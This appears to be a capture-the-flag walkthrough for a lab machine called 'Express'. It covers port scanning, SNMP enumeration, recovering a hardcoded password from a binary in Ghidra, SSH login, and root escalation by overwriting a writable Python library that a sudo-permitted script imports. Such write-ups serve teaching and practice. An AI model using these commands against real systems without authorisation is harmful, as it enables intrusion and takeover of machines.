Express
export TARGET_IP=172.17.0.2
sudo nmap -Pn -sS -p- $TARGET_IP
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
UDP Port Scanning
UDP port scanning was performed to identify services that utilize the connectionless UDP protocol. UDP is often used for services like DNS, SNMP, DHCP, and some VPN protocols.
An initial, rapid UDP scan was conducted to quickly identify potentially open UDP ports. This scan utilized the --min-rate
parameter to increase the scanning speed, prioritizing efficiency over absolute thoroughness.
nmap -p- --open -sU --min-rate 3000 -n -Pn $TARGET_IP -oA initial_udp_scan
grep "open" initial_udp_scan.gnmap
Not shown: 65288 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp
Considerations for UDP Scanning
It is important to note that UDP scanning presents unique challenges:
- Speed vs. Reliability: Increasing the scan rate (
--min-rate
) can lead to missed ports due to network congestion or the target's inability to process packets quickly enough. open|filtered
Ambiguity: UDP scans often produceopen|filtered
results whennmap
receives no response. This means the port might be open, or a firewall might be silently dropping packets.- Verification: Further investigation is crucial to confirm whether ports identified as
open
oropen|filtered
are truly open and to identify the service running on them.
Thorough UDP Scan (Optional)
A slower and more comprehensive UDP scan can be performed using the following command. This should be used if a faster scan doesn't give the expected results or if a higher degree of certainty is necessary. It should be noted that this can be extremely time-consuming.
nmap -p- -sU -n -Pn -T4 $TARGET_IP -oA thorough_udp_scan
Further Analysis of UDP Port 161 (SNMP)
SNMP Service Confirmation and Version Detection
To confirm the presence of SNMP and determine its version, nmap
was used with service version detection:
nmap -sU -sV -p 161 $TARGET_IP -oA snmp_version_scan
Results:
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: f7c1d51aa808
Analysis:
- The scan confirmed that port 161 is open and running both SNMPv1 and an SNMPv3 server (net-snmp) that is accessible with the community string "public".
- The MAC address of the target was also obtained.
- The hostname
f7c1d51aa808
was identified.
Information Gathering with snmpwalk
Using the discovered "public" community string, snmpwalk
was employed to retrieve information from the target's SNMP agent:
snmpwalk -c public -v1 172.17.0.2
Significant Findings:
...
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@express.dl>"
...
Analysis:
- The
system.sysContact.0
OID revealed a potential email address:admin@express.dl
. - The portion after the "@" symbol,
express.dl
, is likely part of the target's domain name.
Domain Discovery and Web Server Enumeration
Based on the information gathered from SNMP, the following steps were taken:
-
DNS Resolution Override: The
/etc/hosts
file was modified to map the suspected domainexpress.dl
to the target's IP address:172.17.0.2 express.dl
-
robots.txt
Enumeration: Accessinghttp://express.dl/robots.txt
revealed the following entries:disable: binary/*
disable: secret/note.txt
Analysis:
- Accessing
http://express.dl/secret/note.txt
resulted in a 404 (Not Found) error. However, this doesn't confirm that the file doesn't exist. It could also imply that the webserver is configured to deny direct access to that particular file. - Further investigation revealed that the
binary
directory contained an executable file named "game".
Binary Game Reverse Engineering and Key Extraction
The target binary, game
, was downloaded and executed as follows:
wget http://express.dl/binary/game
chmod +x game
./game
The game presented a challenge:
Bienvenido al juego de adivinar el número.
Debes adivinar el número correctamente 100 veces para obtener la clave secreta.
Adivina el número (intento #1 de 100):
Requiring 100 consecutive correct guesses to reveal a secret key appeared inefficient. Reverse engineering the binary was deemed a more effective approach.
Static Analysis with Ghidra
The binary was loaded into Ghidra for static analysis. A function named hidden_key
immediately stood out. Examining its decompiled C code revealed the mechanism for generating the secret key:
void hidden_key(void)
{
undefined8 local_28;
undefined2 local_20;
undefined6 uStack_1e;
undefined2 uStack_18;
undefined8 local_16;
uint local_c;
local_28 = 0x6472307773734050;
local_20 = 0x2321;
uStack_1e = 0x313532302d2d;
uStack_18 = 0x3336;
local_16 = 0x45464e4773756866;
puts(&DAT_00102008);
printf("La clave secreta es: ");
for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
putchar((int)*(char *)((long)&local_28 + (long)(int)local_c));
}
putchar(10);
return;
}
Observations:
- Direct Key Output: The
hidden_key
function prints the secret key directly to standard output. - Hexadecimal Storage: The key is stored as a series of hexadecimal values within local variables.
- Iterative Printing: A
for
loop iterates 26 times (0x1a
), printing each character of the key usingputchar
.
Key Reconstruction
The hexadecimal values within the hidden_key
function represent the secret key in little-endian byte order. To reconstruct the key, the following steps were performed for each variable:
- Reverse Byte Order: The byte order within each hexadecimal value was reversed (e.g.,
0x6472307773734050
became50 40 73 73 77 30 72 64
). - Hex to ASCII: The reversed hexadecimal pairs were converted to their ASCII character equivalents.
Detailed Breakdown:
Variable | Hex Value | Reversed Hex (2-byte pairs) | ASCII |
---|---|---|---|
local_28 | 0x6472307773734050 | 50 40 73 73 77 30 72 64 | P@ssw0rd |
local_20 | 0x2321 | 21 23 | !# |
uStack_1e | 0x313532302d2d | 2D 2D 30 32 35 31 | --0251 |
uStack_18 | 0x3336 | 36 33 | 63 |
local_16 | 0x45464e4773756866 | 66 68 75 73 47 4E 46 45 | fhusGNFE |
Each conversion can be verified using the following command (example for local_28
):
echo -n "5040737377307264" | xxd -r -p
Final Key Assembly
Concatenating the ASCII representations in the order they appear in the code yields the complete secret key:
echo -n "504073737730726421232d2d30323531363366687573474e4645" | xxd -r -p
Output:
P@ssw0rd!#--025163fhusGNFE
Privilege Escalation
Establishing SSH Connection
Based on prior reconnaissance (specifically the email address admin@express.dl
found on a UDP port), it was hypothesized that admin
was a valid username on the target system. An SSH connection was attempted:
ssh admin@$TARGET_IP
Using the previously extracted secret key (P@ssw0rd!#--025163fhusGNFE
) as the password, the SSH connection was successfully established.
Identifying Sudo Permissions
The sudo -l
command was used to list the commands that the admin
user could execute with elevated privileges:
sudo -l
Output:
Matching Defaults entries for admin on f7c1d51aa808:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User admin may run the following commands on f7c1d51aa808:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
This output indicates that the admin
user can execute /usr/bin/python3 /opt/script.py
as root without requiring a password.
Analyzing /opt/script.py
and Identifying a Writable Library
Further investigation of /opt/script.py
revealed that it imported the pytest
module. The find
command was used to locate the pytest.py
module on the system:
find / -name "pytest.py" 2>/dev/null
Output:
/usr/lib/python3.12/pytest.py
Checking the permissions of this file using ls -la
revealed that the admin
group had write access:
ls -la /usr/lib/python3.12/pytest.py
Output:
-rwxrwxr-x 1 root admin 46 Jan 17 10:54 /usr/lib/python3.12/pytest.py
Exploiting the Writable Library
Because admin
could run /opt/script.py
as root, and /opt/script.py
imported pytest
, and admin
had write access to /usr/lib/python3.12/pytest.py
, it was possible to inject code into pytest.py
that would be executed with root privileges when /opt/script.py
was run.
echo "import os; os.setuid(0); os.system(\"/bin/bash\")" > /usr/lib/python3.12/pytest.py
sudo python3 /opt/script.py
Now we are root.